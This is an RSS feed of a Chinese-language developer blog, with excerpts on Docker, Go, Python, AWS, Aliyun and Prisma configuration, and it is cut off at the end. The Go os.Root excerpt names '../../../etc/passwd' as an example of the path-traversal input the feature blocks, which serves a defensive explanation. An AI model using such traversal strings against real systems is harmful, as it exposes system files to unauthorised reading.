<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>老麦的书房</title><link>https://typonotes.com/</link><description>Recent content on 老麦的书房</description><generator>Hugo -- gohugo.io</generator><language>zh-CN</language><lastBuildDate>Mon, 15 Dec 2025 15:17:30 +0800</lastBuildDate><atom:link href="https://typonotes.com/index.xml" rel="self" type="application/rss+xml"/><item><title>docker buildx - 在单平台编译多平台镜像</title><link>https://typonotes.com/posts/2025/12/15/docker-build-platform/</link><pubDate>Mon, 15 Dec 2025 15:17:30 +0800</pubDate><guid>https://typonotes.com/posts/2025/12/15/docker-build-platform/</guid><description>Docker Build Platform 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/12/15/docker-build-platform/ 标题有点拗口。 简单的说， 就是在 当前平台 中进行编译。 然后在通过 docker buildx 实现多架构镜像的创建。 好处在于: 类似 nodejs 这种跨平台的语言， 只需要编译一次。 类似 golang 这种需要交叉编译的语言， 直接之际在本平台下编译。 而不是在虚拟容器中执行。 核心要点 在 builder 镜像中</description></item><item><title>Aliyun 角色 - Assume Role</title><link>https://typonotes.com/posts/2025/10/28/aliyun-assume-role/</link><pubDate>Tue, 28 Oct 2025 13:39:16 +0800</pubDate><guid>https://typonotes.com/posts/2025/10/28/aliyun-assume-role/</guid><description>Aliyun 角色 - Assume Role 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/10/28/aliyun-assume-role/ 通过使用 角色 (Assume Role) , 可以不再对 用户/账户 (RAM User) 授权。 而是 RAM User 使用命令 aliyun sts AssumeRole 获取对应角色的权限。 而 RAM User 只需要授权 STS AssumeRole 权限即可。 1. 使用 Assume Role 1.1. 直接配置 profile 这个方法可以直接登录， 并使用 profile 。 不用二次切换。 在使用 aliyun configure 的时候指定 --mode RamRoleArn 。 1 2 3 4 5 6</description></item><item><title>Go1.23 Iterators 迭代器</title><link>https://typonotes.com/posts/2025/05/22/go1.23-iterators/</link><pubDate>Thu, 22 May 2025 17:08:43 +0800</pubDate><guid>https://typonotes.com/posts/2025/05/22/go1.23-iterators/</guid><description>Go1.23 Iterators 迭代器 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/05/22/go1.23-iterators/ 在 Go1.23 新引入了一个标准包 迭代器 Iterator 。 可以返回一个 可迭代对象 - 函数， 该对象 接受一个 回调函数 - yield 。 标准包 iter 中包含以下两个类型 Seq, Seq2。 二者都返回了一个 生成器函数 yield function 1 2 3 4 type ( Seq[V any] func(yield func(V) bool) Seq2[K, V any] func(yield func(K, V) bool) ) Seq2 的命名方式看起来很奇怪， 感觉不</description></item><item><title>Goreleaser: 快速发布 Github 项目</title><link>https://typonotes.com/posts/2025/05/19/goreleaser-release-app-in-github/</link><pubDate>Mon, 19 May 2025 13:54:52 +0800</pubDate><guid>https://typonotes.com/posts/2025/05/19/goreleaser-release-app-in-github/</guid><description>Goreleaser Release App in Github 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/05/19/goreleaser-release-app-in-github/ 项目可以通过 renovate-bot 进行以来变更管理， 当依赖内容变化后， 可以帮助我们创建 PR。 https://github.com/tangxin/k8s-image-syncer/pulls goreleaser 可以为 go 项目快速发布 Release 页面。 这对管理项目变更非常重要。 尤其是对于 go library 的依赖而言， 尤为重要。 当创建 PR 的时候， 可以携带所依赖库的 ChangeLog 内容， 帮助我们快速了解依赖</description></item><item><title>Go1.24 - 按行读取文件</title><link>https://typonotes.com/posts/2025/05/16/read-file-line-by-line-go124/</link><pubDate>Fri, 16 May 2025 17:22:21 +0800</pubDate><guid>https://typonotes.com/posts/2025/05/16/read-file-line-by-line-go124/</guid><description>Go1.24 - 按行读取文件 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/05/16/read-file-line-by-line-go124/ 在 go 1.24 中新增加了两个标准方法 - strings.Lines() 和 bytes.Lines()。 都使用 分隔符 \n 拆分对象。 都返回一个 Seq 的迭代对象。 Seq 迭代对象 Seq 迭代对象可以接受一个 回调函数 或 使用 for 循环 进行遍历。 使用 回调函数 时， 可以通过 return false 提前终止遍历。 1 2 3 4</description></item><item><title>Go 1.24 - os.Root 锁定工作目录</title><link>https://typonotes.com/posts/2025/05/16/os-root-in-go124/</link><pubDate>Fri, 16 May 2025 16:16:27 +0800</pubDate><guid>https://typonotes.com/posts/2025/05/16/os-root-in-go124/</guid><description>Go 1.24 - os.Root 锁定工作目录 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/05/16/os-root-in-go124/ os.Root 可以锁定工作目录。 使用户无法打开目录外的文件，例如 ../../../etc/passwd 。 可以算一种 安全保护 最重要的是 强制约束用户， 限制用户行为， 检查计划外的使用逻辑 。 免得和煞笔瞎掰扯， 浪费时间。 使用 root, _ := os.OpenRoot(basedir) 锁定工作目录 以后的所有操作都要基于 root.Xzzzz() 展开 root.OpenFile(path) 在</description></item><item><title>容器镜像优化 (解释型语言)</title><link>https://typonotes.com/posts/2025/04/28/intepreted-language-docker-image-optimization/</link><pubDate>Mon, 28 Apr 2025 15:23:16 +0800</pubDate><guid>https://typonotes.com/posts/2025/04/28/intepreted-language-docker-image-optimization/</guid><description>容器镜像优化 (解释型语言) 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/04/28/intepreted-language-docker-image-optimization/ 解释型语言， 如 Python, Ruby 。 这些语言在都会在本地 缓存 安装包， python (whl), Ruby (gem), 以方便不同项目共享。 而这类项目不能使用 多阶段构建 ， 因此 清理本地缓存 是镜像瘦身必须的。 Python 1 2 3 4 5 rm -rf ~/.cache/pip # or pip install --no-cache-dir {package} Ruby 1 2 3 4 5 6 ## 必须的 RUN rm -rf /usr/local/bundle/cache/*.gem ## 可选的</description></item><item><title>Go 编译时使用私有仓库</title><link>https://typonotes.com/posts/2025/03/27/go-build-with-private-bitbucket/</link><pubDate>Thu, 27 Mar 2025 16:28:47 +0800</pubDate><guid>https://typonotes.com/posts/2025/03/27/go-build-with-private-bitbucket/</guid><description>Go 编译时使用私有仓库 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/03/27/go-build-with-private-bitbucket/ 使用私有仓库， 无论如何都需要配置 GOPRIVATE 变量 1 2 export GONOSUMDB=git.example.com # comment this line if GOPROXY isn&amp;#39;t set export GOPRIVATE=git.example.com 1. 本地开发 在本地开发的时候， 通常使用 ssh 协议进行权限验证。 例如 clone 时地址如下格式如下 1 2 ssh://git@git.example.com/ ... https://git.example.com/scm/ ... 则执行如下命令替换验证方式 $ git config --global url.ssh://git@git.example.com/.insteadOf https://git.example.com/scm/ 2. 容器中个编译 在容器中</description></item><item><title>Gorm: 声明模型（1）</title><link>https://typonotes.com/posts/2025/03/17/gorm-model-declaration/</link><pubDate>Mon, 17 Mar 2025 11:37:02 +0800</pubDate><guid>https://typonotes.com/posts/2025/03/17/gorm-model-declaration/</guid><description>Gorm: 声明模型（1） 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/03/17/gorm-model-declaration/ 1. 数组字段 https://gorm.io/zh_CN/docs/models.html 如果表中有 slice 字段， 则需要使用 type 指定类型。 1 2 3 4 5 6 package dao type DemoTable struct { Users []string `gorm:&amp;#34;type:text[]&amp;#34;` // This is a slice of strings IDs []int `gorm:&amp;#34;type:int[]&amp;#34;` // This is a slice of integers } 2. 索引 https://gorm.io/zh_CN/docs/indexes.html 2.1 唯一作引 唯一索引有两种形式， uniqueIndex index:[name],unique : 自定义索引名字 1 2 3 4 5 type User struct { Name string `gorm:&amp;#34;index&amp;#34;` // 索引 Name4 string `gorm:&amp;#34;uniqueIndex&amp;#34;` // 唯一索引</description></item><item><title>AI 加强版的命令行客户端</title><link>https://typonotes.com/posts/2025/03/04/ai-powered-terminals/</link><pubDate>Tue, 04 Mar 2025 11:08:27 +0800</pubDate><guid>https://typonotes.com/posts/2025/03/04/ai-powered-terminals/</guid><description>AI 加强版的命令行客户端 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/03/04/ai-powered-terminals/ 都 2025 年了， 谁还没有一个 AI 加强版的命令行客户端。 1. 神器 Warp warp 算的上一款真正意义上的 AI 客户端了， 可以直接通过 自然语言 （甚至不用关键字切换）处理工作。 除此外， 还能根据需求 推荐相关命令， 并执行， 还支持 输出结果的上下文分析， 直接</description></item><item><title>Typescript NPM 制包/发包问题解析</title><link>https://typonotes.com/posts/2025/03/01/intro-of-npm-package-publish/</link><pubDate>Sat, 01 Mar 2025 18:58:19 +0800</pubDate><guid>https://typonotes.com/posts/2025/03/01/intro-of-npm-package-publish/</guid><description>Typescript NPM 制包/发包问题解析 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/03/01/intro-of-npm-package-publish/ NPM 发包 npm 发包必须要注册一个 npm registry 的账号。 包名全局唯一 访问 https://www.npmjs.com/ 并注册一个账号 本地登录 1 $ npm login 发布 1 $ npm publsh 包的定义 在 package.json 中管理 包的定义 1 2 3 4 5 6 7 8 9 10 11 { &amp;#34;name&amp;#34;: &amp;#34;ioredis-client&amp;#34;, // 包名 &amp;#34;version&amp;#34;: &amp;#34;1.0.7&amp;#34;, // 版本 &amp;#34;main&amp;#34;: &amp;#34;dist/index.js&amp;#34;, // 默认入口文件。 指定后， 可以直接使用包名。 &amp;#34;types&amp;#34;:</description></item><item><title>(6) 静态前端网站容器化 - 【源码解读】 使用 gin FS 模式为什么无限 301 重定向了？</title><link>https://typonotes.com/posts/2025/02/09/gin-static-fs-301-redirect/</link><pubDate>Sun, 09 Feb 2025 16:23:19 +0800</pubDate><guid>https://typonotes.com/posts/2025/02/09/gin-static-fs-301-redirect/</guid><description>(6) 静态前端网站容器化 - 【源码解读】 使用 gin FS 模式为什么无限 301 重定向了？ 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/02/09/gin-static-fs-301-redirect/ 为了解决 BrowserRouter 模式下的， History API Fallback 问题。 我们在后端服务器做了一些兼容配置。 (4) 静态前端容器化 - 单页面应用(SAP) History API Fallback - 刷新 404 但是由于 gin 对于 StaticFS() 和 FileFromFS() 两个方法的实现问题， 造成了无限 301</description></item><item><title>(5) 静态前端网站容器化 - 容器篇 - 自定义 HTTP Server</title><link>https://typonotes.com/posts/2025/02/09/static-sap-dockerize-customize-httpserve/</link><pubDate>Sun, 09 Feb 2025 14:49:00 +0800</pubDate><guid>https://typonotes.com/posts/2025/02/09/static-sap-dockerize-customize-httpserve/</guid><description>(5) 静态前端网站容器化 - 容器篇 - 自定义 HTTP Server 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/02/09/static-sap-dockerize-customize-httpserve/ 众所周知， 我们在容器化 静态网站 的时候为了实现 一次编译， 处处运行 的目标， 在 index.html 中插入了一个变量 __CONFIG__， 在启动的时候进行替换为正式后端的地址。 可以参考 (2) Vue3 / React 静态网站项目容器化 - 实战案例 (3) 静</description></item><item><title>(4) 静态前端容器化 - 单页面应用(SAP) History API Fallback - 刷新 404</title><link>https://typonotes.com/posts/2025/02/09/static-sap-history-api-fallback-issue/</link><pubDate>Sun, 09 Feb 2025 13:45:12 +0800</pubDate><guid>https://typonotes.com/posts/2025/02/09/static-sap-history-api-fallback-issue/</guid><description>(4) 静态前端容器化 - 单页面应用(SAP) History API Fallback - 刷新 404 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2025/02/09/static-sap-history-api-fallback-issue/ 当单页面（SAP）页面使用了路由之后（例如 React-Router）， 刷新页面就可能造成 404 问题。 问题主要原因是出在 BrowserRouter， 例如 地址 http://localhost:3000/login BrowserRouter 依赖于浏览器的 History API 来管理路由。例</description></item><item><title>(3) 静态前端网站容器化 - 容器篇</title><link>https://typonotes.com/posts/2024/12/16/static-website-container-image/</link><pubDate>Mon, 16 Dec 2024 16:34:29 +0800</pubDate><guid>https://typonotes.com/posts/2024/12/16/static-website-container-image/</guid><description>(3) 静态前端网站容器化 - 容器篇 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/12/16/static-website-container-image/ 相关连接 (1) 静态前端网站容器化 - 理论篇 (2) Vue3 / React 静态网站项目容器化 - 实战案例 对于容器的选择， 其实没什么多数说的， 普通的 nginx 就可以了， 或者类似 caddy 这些都行。 如果由于某些权限问题， 选择了 nginxinc/nginx-unprivileged - docker-hub 则需要注意， /usr/share/nginx/html 权限归于 root 启动用</description></item><item><title>Python: VsCode 中指定执行版本</title><link>https://typonotes.com/posts/2024/12/02/python-select-interpreter-in-vscode/</link><pubDate>Mon, 02 Dec 2024 10:37:24 +0800</pubDate><guid>https://typonotes.com/posts/2024/12/02/python-select-interpreter-in-vscode/</guid><description>Python Select Interpreter in Vscode 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/12/02/python-select-interpreter-in-vscode/ python 中提供了两种方式执行运行版本 选择默认 Python 版本 Mac Command + Shift + P -&amp;gt; Python: Select Interpreter 配置默认版本 打开 settings.json 1 &amp;#34;python.defaultInterpreterPath&amp;#34;: &amp;#34;/usr/bin/python3&amp;#34;, 或在 settings 中搜索 python default Interpreter Path 创建虚拟环境 .venv 或 .conda Mac Command + Shift + P -&amp;gt; Python: Create Environment 选择 .venv 或 .conda 管理虚拟环境 更多参考 VsCode 官方文档 Create Environment</description></item><item><title>Python: 关于 Package 和 Module 快速入门</title><link>https://typonotes.com/posts/2024/11/29/python-package-module-quick-start/</link><pubDate>Fri, 29 Nov 2024 19:21:45 +0800</pubDate><guid>https://typonotes.com/posts/2024/11/29/python-package-module-quick-start/</guid><description>Python: 关于 Package 和 Module 快速入门 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/11/29/python-package-module-quick-start/ 什么是 包 (Package) 如果一个目录中有 __init__.py ， 那这个目录就是 包 Package 什么是 模块 (Module) xxx.py 文件就是模块 怎么引用自定义包 把 包路径 使用 sys.path.append(xxx) 添加后， 就可以使用 1 2 3 4 5 6 7 8 9 10 11 # import {Package} from x.Package import Module print(f&amp;#34;Module.Attribute&amp;#34;) from x.Package.Module import Attribute print(f&amp;#34;{Attribute}&amp;#34;) # 别名 from x.Package.Module import Attribute as attr print(f&amp;#34;{attr}&amp;#34;) 不能使用 连续的 . 结构 1 2 import x.Package</description></item><item><title>Docker Set Up Client Only</title><link>https://typonotes.com/posts/2024/11/28/docker-set-up-client-only/</link><pubDate>Thu, 28 Nov 2024 10:16:06 +0800</pubDate><guid>https://typonotes.com/posts/2024/11/28/docker-set-up-client-only/</guid><description>Docker Set Up Client Only 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/PostDate/PostName/ 如果只想使用 docker / docker-compose 等命令工具控制远端服务上的 docker-engine。 MacOS 下载 docker-cli https://docs.docker.com/engine/install/binaries/#install-client-binaries-on-macos 1 wget -c https://download.docker.com/mac/static/stable/aarch64/docker-27.3.1.tgz 下载 docker-compose https://github.com/docker/compose/releases 1 wget -c https://github.com/docker/compose/releases/download/v2.30.3/docker-compose-darwin-aarch64 Usage 1 2 3 export DOCKER_HOST=ssh://remote-host docker ps</description></item><item><title>Python 类型提示: Typed Dict</title><link>https://typonotes.com/posts/2024/11/23/python-hint-typed-dict/</link><pubDate>Sat, 23 Nov 2024 17:50:36 +0800</pubDate><guid>https://typonotes.com/posts/2024/11/23/python-hint-typed-dict/</guid><description>Python 类型提示: Typed Dict 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/11/23/python-hint-typed-dict/ 在 Golang 中， 通过 json/yaml 解析对象后， 可以通过提示器快速获取字段 但是 Python 作为动态语言， 这方便的功能就比较弱。 但好在 Python 提供了 TypedDict 进行提示。 typing 是标准库， 不用安装。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # TypedDict from typing import TypedDict class Movie(TypedDict): name: str year: int movie: Movie = { &amp;#34;name&amp;#34;: &amp;#34;Groot&amp;#34;, &amp;#34;year&amp;#34;:</description></item><item><title>Python pip 源配置</title><link>https://typonotes.com/posts/2024/11/22/python-pip-conf/</link><pubDate>Fri, 22 Nov 2024 23:33:29 +0800</pubDate><guid>https://typonotes.com/posts/2024/11/22/python-pip-conf/</guid><description>Python pip 源配置 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/11/22/python-pip-conf/ 使用阿里云的 pip 源。 支持 https 和 http 1 2 3 4 5 6 7 8 9 mkdir ~/.pip cat &amp;gt; ~/.pip/pip.conf &amp;lt;&amp;lt; EOF [global] trusted-host=mirrors.aliyun.com index-url=https://mirrors.aliyun.com/pypi/simple/ EOF mac + venv 在 mac + venv 下， 路径 ~/.pip/pip.conf 中的配置并不生效。 而真正生效的路径是 ~/.config/pip/pip.conf</description></item><item><title>Python Keywords: with</title><link>https://typonotes.com/posts/2024/11/22/python-keywords-with/</link><pubDate>Fri, 22 Nov 2024 16:28:41 +0800</pubDate><guid>https://typonotes.com/posts/2024/11/22/python-keywords-with/</guid><description>Python Keywords: with 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/11/22/python-keywords-with/ with 是 python 中的一个关键字。 一种更简单的方式实现 try...catch。 例如， 打开文件后获得文件句柄f， 无论执行是否正常都需要关闭句柄。 1 2 3 4 5 6 try: f = open(&amp;#34;file.txt&amp;#34;, &amp;#34;r&amp;#34;) f.write(&amp;#34;Hello, World!&amp;#34;) finally: f.close() 但是使用 with 关键字， 就可以简单的写成如下 1 2 with open(&amp;#34;file.txt&amp;#34;, &amp;#34;w&amp;#34;) as f: f.write(&amp;#34;Hello, World!&amp;#34;) with...as 的类实现: ContextManager with</description></item><item><title>Python 配置解析: PyYaml</title><link>https://typonotes.com/posts/2024/11/21/python-config-pyyaml/</link><pubDate>Thu, 21 Nov 2024 12:55:09 +0800</pubDate><guid>https://typonotes.com/posts/2024/11/21/python-config-pyyaml/</guid><description>Python 配置解析: PyYaml 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/11/21/python-config-pyyaml/ pyyaml 是 python 中管理 yaml 依赖库。 1 pip install pyyaml 虽然名字叫 pyyaml, 但是在 import 的时候却使用的是 yaml 1 import yaml load 解析 load 支持解析 字符串 文件, 不用预先读取成字符串再解析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import yaml ### 字符串 info = &amp;#34;&amp;#34;&amp;#34; name: tangx age: 20 address: contry: China city: Beijing &amp;#34;&amp;#34;&amp;#34; cfg = yaml.safe_load(info) print(cfg) ### 文件 with open(&amp;#34;config.yaml&amp;#34;,</description></item><item><title>Python 日志库: Loguru</title><link>https://typonotes.com/posts/2024/11/21/python-loguru/</link><pubDate>Thu, 21 Nov 2024 11:30:43 +0800</pubDate><guid>https://typonotes.com/posts/2024/11/21/python-loguru/</guid><description>Python 日志库: Loguru 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/11/21/python-loguru/ loguru 是一款常用的 python 日志库。 https://loguru.readthedocs.io/en/stable/overview.html 注意: loguru 没有 fatal， 而是 critical 安装 1 pip install loguru 基础使用 1 2 3 4 5 6 7 8 9 10 from loguru import logging as log ## 设置格式 logger.add(&amp;#34;file.log&amp;#34;, format=&amp;#34;{time} {level} {message}&amp;#34;, level=&amp;#34;INFO&amp;#34;) ## 设置 level logger.level(&amp;#34;ERROR&amp;#34;) # 注意， 不支持小写 logger.info(&amp;#34;Hello, World!&amp;#34;) logger.critical(&amp;#34;This is a critical message!&amp;#34;) 装饰器用法 1 2 3 4 @logger.catch def test_logger(x: int): log.info(&amp;#34;This is a test logger function!&amp;#34;) return 10 / x 绑定额外参</description></item><item><title>Python 最小化 Requirements</title><link>https://typonotes.com/posts/2024/11/21/python-minimum-requirements/</link><pubDate>Thu, 21 Nov 2024 10:41:22 +0800</pubDate><guid>https://typonotes.com/posts/2024/11/21/python-minimum-requirements/</guid><description>Python 最小化 Requirements 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/11/21/python-minimum-requirements/ 使用 pip freeze 会把当前环境中的所有依赖包都放到 requirements.txt 中。 使用 pigar 最小化 Requirements 安装 1 pip install pigar 生成 1 pigar generate 使用 pipreqs 最小化 Requirements 安装 1 pip install pipreqs 生成 1 2 3 4 5 6 # 强制覆盖 requiremetns.txt pipreqs --encoding utf-8 --ignore .venv --force # 输出到 os.stdout pipreqs --encoding utf-8 --ignore .venv --print</description></item><item><title>Github 配置多账户访问</title><link>https://typonotes.com/posts/2024/09/15/github-multiple-account/</link><pubDate>Sun, 15 Sep 2024 15:32:43 +0800</pubDate><guid>https://typonotes.com/posts/2024/09/15/github-multiple-account/</guid><description>Github 配置多账户访问 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/09/15/github-multiple-account/ 当拥有多账户的时候，可能造成账户冲突。 表现为 私有仓库有权限， 但访问时提示没权限或仓库不存在。 1 2 3 4 5 6 7 $ git pull ERROR: Repository not found. fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. 使用 ssh -T 查看账户 1 2 3 $ ssh -T git@github.com Hi tangx! You&amp;#39;ve successfully authenticated, but GitHub does not provide shell access. 配置 ~/.ssh/config 主</description></item><item><title>Aws Authorize Security Group Rules in Command</title><link>https://typonotes.com/posts/2024/09/13/aws-authorize-security-group-rules-in-command/</link><pubDate>Fri, 13 Sep 2024 06:48:57 +0800</pubDate><guid>https://typonotes.com/posts/2024/09/13/aws-authorize-security-group-rules-in-command/</guid><description>Aws Authorize Security Group Rules in Command 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/09/13/aws-authorize-security-group-rules-in-command/ 使用 aws cli 在线文档 aws 命令行工具的 help 不是很方便， 可以使用 Google 搜索在线文档 例如搜索 aws cli authorize-security-group-ingress 为 Security Group 增加规则 Security Group 的规则分为 入口(ingress) / 出口 (engress) 分别对应命令 1 2 authorize-security-group-ingress authorize-security-group-engress 配置方式是一样的， 通常出口规则都是 0.0.0.0/0。 这里以入口规</description></item><item><title>Aws Elasticache Redis</title><link>https://typonotes.com/posts/2024/09/03/aws-elasticache-redis/</link><pubDate>Tue, 03 Sep 2024 09:46:43 +0800</pubDate><guid>https://typonotes.com/posts/2024/09/03/aws-elasticache-redis/</guid><description>Aws Elasticache Redis 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/09/03/aws-elasticache-redis/ 1. 创建 Redis 服务 AWS 中提供 Redis 的服务是 ElastiCache. 可以根据文档进行创建 创建 Serverless Redis Cache 服务 2. VPC 内部连接 Redis 创建完成后， 配置对应的 SecurityGroup 后， 可以直接在 VPC 内面密码访问。 注意: 连接强制开启 TLS 在集群内启动一个 redis 容器， 使用如下命令 1 2 3 4 5 $ redis-cli --tls -h reids-xxxxx.serverless.region.cache.amazonaws.com -p 6379 redis&amp;gt; set name zhangsan redis&amp;gt; get name &amp;#34;zhangsan&amp;#34; 3.</description></item><item><title>Nodejs Prisma Connect DB in Sslmode</title><link>https://typonotes.com/posts/2024/07/19/nodejs-prisma-connect-db-in-sslmode/</link><pubDate>Fri, 19 Jul 2024 18:00:45 +0800</pubDate><guid>https://typonotes.com/posts/2024/07/19/nodejs-prisma-connect-db-in-sslmode/</guid><description>Nodejs Prisma Connect Db in Sslmode 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/07/19/nodejs-prisma-connect-db-in-sslmode/ Prisma connect Heroku Database with SSL PrivateLink: https://devcenter.heroku.com/articles/heroku-postgres-via-privatelink External Access with Certs and Key 0. Pre-Test 0.1. Test the Certificate (1) Using TablePlus to test the SSL Certificates. It works. (2) Using psql command to test 1 psql &amp;#34;postgres://${UserName}:${DumpPass123}@{DB_HOST}:5432/{DB_Name}?sslmode=require&amp;amp;sslrootcert=root.crt&amp;amp;sslkey=postgresql.key&amp;amp;sslcert=postgresql.crt&amp;#34; 0.2. Check the Prisma Docs From the Prisma&amp;rsquo;s docs - Configuring an SSL Connection , it supports PCKS12 only. sslmode=(disable|prefer|require) sslcert=/some/path/ca.pem sslidentity=/some/path/cert.p12 sslpassword={dump_pass} : provide while generating the cert.p12 sslaccept=(strict|accept_invalid_certs) : accept_invalid_certs is required if using the self-signed certficate. 1. download the ssl key and crts download the certificates files add your ip into whitelist 2. convert crt to pem https://stackoverflow.com/questions/4691699/how-to-convert-crt-to-pem openssl x509 -in postgresql.crt -out postgresql.crt.pem -outform PEM 3. convert crt and pem</description></item><item><title>Aliyun ACK 集群 Flannel 多路由表故障</title><link>https://typonotes.com/posts/2024/06/06/aliyun-ack-flannel-network-issue/</link><pubDate>Thu, 06 Jun 2024 09:24:15 +0800</pubDate><guid>https://typonotes.com/posts/2024/06/06/aliyun-ack-flannel-network-issue/</guid><description>Aliyun ACK 集群 Flannel 多路由表故障 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/06/06/aliyun-ack-flannel-network-issue/ 0. 环境 Aliyun ACK 集群 (master 托管) Flannel 网络 多路由表 1. 故障现象 服务从外部访问 相应缓慢， 甚至 超时 kubectl metrics 信息 跨节点的 Pod 网络不通, 但同节点正常。 无妨访问外网 2. 故障原因 当 (1)阿里云 ACK 集群 节点所在的 VPC (2)开启多个路由表 ， 且 (3)集群使用 Flannal 网</description></item><item><title>Cobrautils: 让绑定参数更简单</title><link>https://typonotes.com/posts/2024/03/29/cobrautils-bind-parameters/</link><pubDate>Fri, 29 Mar 2024 08:17:31 +0800</pubDate><guid>https://typonotes.com/posts/2024/03/29/cobrautils-bind-parameters/</guid><description>Cobrautils: 让绑定参数更简单 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/03/29/cobrautils-bind-parameters/ 有群友说， python 命令行绑定参数方便。 本来没什么 还要顺口踩一脚 go 的参数绑定不方便。 这个能忍？ CobraUtils 使用结构体绑定参数 cobra 绝对是命令行库中的第一梯队， kubectl 也是使用这个库实现的。 现在的问题是: 怎么才能 快速方便 的绑定参数呢？ 那就必须用 反射 实</description></item><item><title>K8s API 依赖导入链的版本问题</title><link>https://typonotes.com/posts/2024/03/25/k8s-api-import-chain-problem/</link><pubDate>Mon, 25 Mar 2024 16:19:28 +0800</pubDate><guid>https://typonotes.com/posts/2024/03/25/k8s-api-import-chain-problem/</guid><description>K8s API 依赖导入链的版本问题 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/03/25/k8s-api-import-chain-problem/ 1 2 3 4 5 6 7 8 // go.mod // 异常的版本依赖指定和引用 require ( k8s.io/api v0.28.8 k8s.io/client-go v0.28.8 k8s.io/apimachinery v0.28.8 ) 由于依赖链的中的版本问题， 导致 k8s.io 被默认指向了当前最新版本 v0.29.3。 但是出现了一点点小问题， 导致 go mod tidy 失败。 go: github.com/example/kubez/pkg/healthy imports k8s.io/client-go/kubernetes imports k8s.io/client-go/kubernetes/typed/auditregistration/v1alpha1 imports k8s.io/api/auditregistration/v1alpha1: module k8s.io/api@latest found (v0.29.3), but does not contain package k8s.io/api/auditregistration/v1alpha1 go:</description></item><item><title>Cors Rules</title><link>https://typonotes.com/posts/2024/03/19/cors-rules/</link><pubDate>Tue, 19 Mar 2024 22:12:12 +0800</pubDate><guid>https://typonotes.com/posts/2024/03/19/cors-rules/</guid><description>CORS 跨域规则 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/03/19/cors-rules/ 1. 因为 axios 封装遇到的跨域问题 本地服务器: http://127.0.0.1:5173, 后端服务器 http://127.0.0.1:8888。 服务器程序为 json-server。 进行如下封装后， 出现跨域问题， 尝试搜索 json-server 允许跨域配置， 始终无果。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17</description></item><item><title>Technique English</title><link>https://typonotes.com/posts/2024/03/05/technique-english/</link><pubDate>Tue, 05 Mar 2024 15:31:27 +0800</pubDate><guid>https://typonotes.com/posts/2024/03/05/technique-english/</guid><description>Technique English 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/03/05/technique-english/ integrity check 完整性检查 issue HTTPS Certificates 签发证书</description></item><item><title>Karabiner Keyboard Assistant</title><link>https://typonotes.com/posts/2024/03/05/karabiner-keyboard-assistant/</link><pubDate>Tue, 05 Mar 2024 07:57:07 +0800</pubDate><guid>https://typonotes.com/posts/2024/03/05/karabiner-keyboard-assistant/</guid><description>Karabiner Keyboard Assistant 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/03/05/karabiner-keyboard-assistant/ 下载地址 karabiner 是一款 mac 系统下 免费 的键位修改器。 https://karabiner-elements.pqrs.org/ 自定义配置 配置文件目录: ~/.config/karabiner/assets/complex_modifications/ ctrl + hjkl 的 vim 风格移动键位 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70</description></item><item><title>Json Server Not Found</title><link>https://typonotes.com/posts/2024/02/26/json-server-not-found/</link><pubDate>Mon, 26 Feb 2024 21:12:54 +0800</pubDate><guid>https://typonotes.com/posts/2024/02/26/json-server-not-found/</guid><description>Json Server Not Found 建议点击 查看原文 查看最新内容。 原文链接: https://typonotes.com/posts/2024/02/26/json-server-not-found/ 使用 本地安装 安装 json-server， 启动时出现 json-server not found 的错误。 1 $ npm install json-server 这时， 需要使用 npx 命令启动 1 $ npx json-server --watch data.json --port 3101 如果想要直接使用 json-server 的话， 需要执行 全局安装 1 2 3 $ npm install json-server -g # or $ npm install json-server --save-dev 之后就可以直接安装了。 1 $ json-server --watch data.json --port 3101</description></item><item><title>PromQL 